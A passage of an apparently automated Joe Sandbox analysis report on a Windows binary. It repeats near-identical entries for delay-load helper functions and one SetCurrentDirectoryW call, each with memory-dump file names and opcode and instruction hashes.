                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 4d93578ab33c78b69381b88c7671b07667f56ee0bbba0e52a27a83b489fac5c2
                                                                                                                                                        • Instruction ID: 34c0c7e7ca73bf3df40174998e008bca3bc07994c006d66cbd3bde2d846ac378
                                                                                                                                                        • Opcode Fuzzy Hash: 4d93578ab33c78b69381b88c7671b07667f56ee0bbba0e52a27a83b489fac5c2
                                                                                                                                                        • Instruction Fuzzy Hash: 6DB0128166D040FC31C4E1255E02C77061DC7C4F10331812BF406C3243E8404C480135
                                                                                                                                                        Function 00DB4CB7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4C90
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 8f3c865e539d9ae6a6ee3fa483efd0a6e334b3f7d2533c133ba8b7edd038bf5c
                                                                                                                                                        • Instruction ID: f3bd4a7347a031d027e18a25a10dfe38e35c1eb7678d8b5c00efe732674cd866
                                                                                                                                                        • Opcode Fuzzy Hash: 8f3c865e539d9ae6a6ee3fa483efd0a6e334b3f7d2533c133ba8b7edd038bf5c
                                                                                                                                                        • Instruction Fuzzy Hash: B9B0128126D041FC3184E1156E02D76061DC7C4F10331412BF006C3643E8404C480035
                                                                                                                                                        Function 00DB4CAD Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4C90
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 208de48db44d4b6f73f9147d8991d004f0b7410cc60ec4710ff85a3ece21c69c
                                                                                                                                                        • Instruction ID: 7358ebfdf623ba2297841e5551ba6e44f853220c5dd6874c92a75ae9d9e626bb
                                                                                                                                                        • Opcode Fuzzy Hash: 208de48db44d4b6f73f9147d8991d004f0b7410cc60ec4710ff85a3ece21c69c
                                                                                                                                                        • Instruction Fuzzy Hash: 6BB0128126D080FC3184E1155F02C77061DC7C4F20331816BF006C3243E8404C4A0035
                                                                                                                                                        Function 00DB4C7E Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4C90
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 003ec24c24c7541eef132a8d098dc220837cb31ef99b2e2f774d41176564d58d
                                                                                                                                                        • Instruction ID: 4d3a0771c9130c4a697bd5a5b9d3016a0f7b56925b79235bc35f83750b3dfd04
                                                                                                                                                        • Opcode Fuzzy Hash: 003ec24c24c7541eef132a8d098dc220837cb31ef99b2e2f774d41176564d58d
                                                                                                                                                        • Instruction Fuzzy Hash: ADB012956AD040FC3144A1051F02C76061DCFD0F21331825BF002C2143E8404C460035
                                                                                                                                                        Function 00DB4D18 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4CF1
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 4a8e4cb38e53c68e2e6906342ca66f4354c20321f5e1f7e2e4d0215aa924908c
                                                                                                                                                        • Instruction ID: 74ecfd52805c6130622cf866600daa1641fba75aa7e375fc82247c9afe201962
                                                                                                                                                        • Opcode Fuzzy Hash: 4a8e4cb38e53c68e2e6906342ca66f4354c20321f5e1f7e2e4d0215aa924908c
                                                                                                                                                        • Instruction Fuzzy Hash: 89B0128529D241FC3144F2051E02CB7051DC6C5F10330815BF402C3243E8405C8C0231
                                                                                                                                                        Function 00DB4D04 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4CF1
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 53dcd98ee14c7386e64b0cd84693111f08ba72a7e4cf95d45c6cc3fc701c50a5
                                                                                                                                                        • Instruction ID: e12fc0d8b7256762206148eed393d0260a8983bee9afdeb2cd863976b5cbd661
                                                                                                                                                        • Opcode Fuzzy Hash: 53dcd98ee14c7386e64b0cd84693111f08ba72a7e4cf95d45c6cc3fc701c50a5
                                                                                                                                                        • Instruction Fuzzy Hash: 30B0128529D341FC3284F1055E02C77092DC6C4F10330422BF006C2243E8415CC90031
                                                                                                                                                        Function 00DB4D22 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4CF1
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 27b09285bb93957ef1db8c8ef42181bd9134cd0faf8725d48e8733faf3ebd46b
                                                                                                                                                        • Instruction ID: c33e572cbaea936c0502c44bea726ed0e99509fd9f94c4f99a11e861906fb82d
                                                                                                                                                        • Opcode Fuzzy Hash: 27b09285bb93957ef1db8c8ef42181bd9134cd0faf8725d48e8733faf3ebd46b
                                                                                                                                                        • Instruction Fuzzy Hash: C2B0128529D242FC3144F1056E02C77051DD6C4F10330412FF006C2243E8405C890031
                                                                                                                                                        Function 00DA2226 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetCurrentDirectoryW.KERNELBASE(?), ref: 00DA2233
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CurrentDirectory
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1611563598-0
                                                                                                                                                        • Opcode ID: fc6a86dfd8333554f2b54d550b2f95d04f09ae719c24525ca18514a43c342c2e
                                                                                                                                                        • Instruction ID: 6cdb03346b3df153a1a8ecdbc7d20c40ac95657df9f27ca581ac717ca17e31c8
                                                                                                                                                        • Opcode Fuzzy Hash: fc6a86dfd8333554f2b54d550b2f95d04f09ae719c24525ca18514a43c342c2e
                                                                                                                                                        • Instruction Fuzzy Hash: BEC04870211202DF8704CFA9DA8CE0A77EABFA2706B419568F544CF120C738DD61EA39
                                                                                                                                                        Function 00DB49D0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 21aa5ef4aabe87cdbd184acb79355be063a48faa294e27b4242f2d99b9a68e64
                                                                                                                                                        • Instruction ID: d945ad042d9ef347d50becea18cf103db2c47b04e2350bb923f36bfb77cc2ec0
                                                                                                                                                        • Opcode Fuzzy Hash: 21aa5ef4aabe87cdbd184acb79355be063a48faa294e27b4242f2d99b9a68e64
                                                                                                                                                        • Instruction Fuzzy Hash: 24A001966AD152FC3608A2617E07CBB061ECAC9BA13718A5FF443C6583A88199991435
                                                                                                                                                        Function 00DB49F8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 0c8852fc69e9716722b57a58b3223d92ce449b0ec260aa0c906d5cb821f395cc
                                                                                                                                                        • Instruction ID: d945ad042d9ef347d50becea18cf103db2c47b04e2350bb923f36bfb77cc2ec0
                                                                                                                                                        • Opcode Fuzzy Hash: 0c8852fc69e9716722b57a58b3223d92ce449b0ec260aa0c906d5cb821f395cc
                                                                                                                                                        • Instruction Fuzzy Hash: 24A001966AD152FC3608A2617E07CBB061ECAC9BA13718A5FF443C6583A88199991435
                                                                                                                                                        Function 00DB49EE Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: caa41838c026cdd36f350264be4b0d8713ac7f833afe770fdaf8bc45f713b235
                                                                                                                                                        • Instruction ID: d945ad042d9ef347d50becea18cf103db2c47b04e2350bb923f36bfb77cc2ec0
                                                                                                                                                        • Opcode Fuzzy Hash: caa41838c026cdd36f350264be4b0d8713ac7f833afe770fdaf8bc45f713b235
                                                                                                                                                        • Instruction Fuzzy Hash: 24A001966AD152FC3608A2617E07CBB061ECAC9BA13718A5FF443C6583A88199991435
                                                                                                                                                        Function 00DB49E4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: b21648b3d14249f035da3c7c06231bc283ff1796f15a3292c17a779f492a1273
                                                                                                                                                        • Instruction ID: d945ad042d9ef347d50becea18cf103db2c47b04e2350bb923f36bfb77cc2ec0
                                                                                                                                                        • Opcode Fuzzy Hash: b21648b3d14249f035da3c7c06231bc283ff1796f15a3292c17a779f492a1273
                                                                                                                                                        • Instruction Fuzzy Hash: 24A001966AD152FC3608A2617E07CBB061ECAC9BA13718A5FF443C6583A88199991435
                                                                                                                                                        Function 00DB49B2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: ffa9615d5a70ac9cf56e49015196104e018692e991102d2aaaeb7c42b76c0d38
                                                                                                                                                        • Instruction ID: d945ad042d9ef347d50becea18cf103db2c47b04e2350bb923f36bfb77cc2ec0
                                                                                                                                                        • Opcode Fuzzy Hash: ffa9615d5a70ac9cf56e49015196104e018692e991102d2aaaeb7c42b76c0d38
                                                                                                                                                        • Instruction Fuzzy Hash: 24A001966AD152FC3608A2617E07CBB061ECAC9BA13718A5FF443C6583A88199991435
                                                                                                                                                        Function 00DB4976 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: aa72105834e717140e3997d15efc079ead08a6fcd9d1a0cf8c97e7d31e9cb05a
                                                                                                                                                        • Instruction ID: d945ad042d9ef347d50becea18cf103db2c47b04e2350bb923f36bfb77cc2ec0
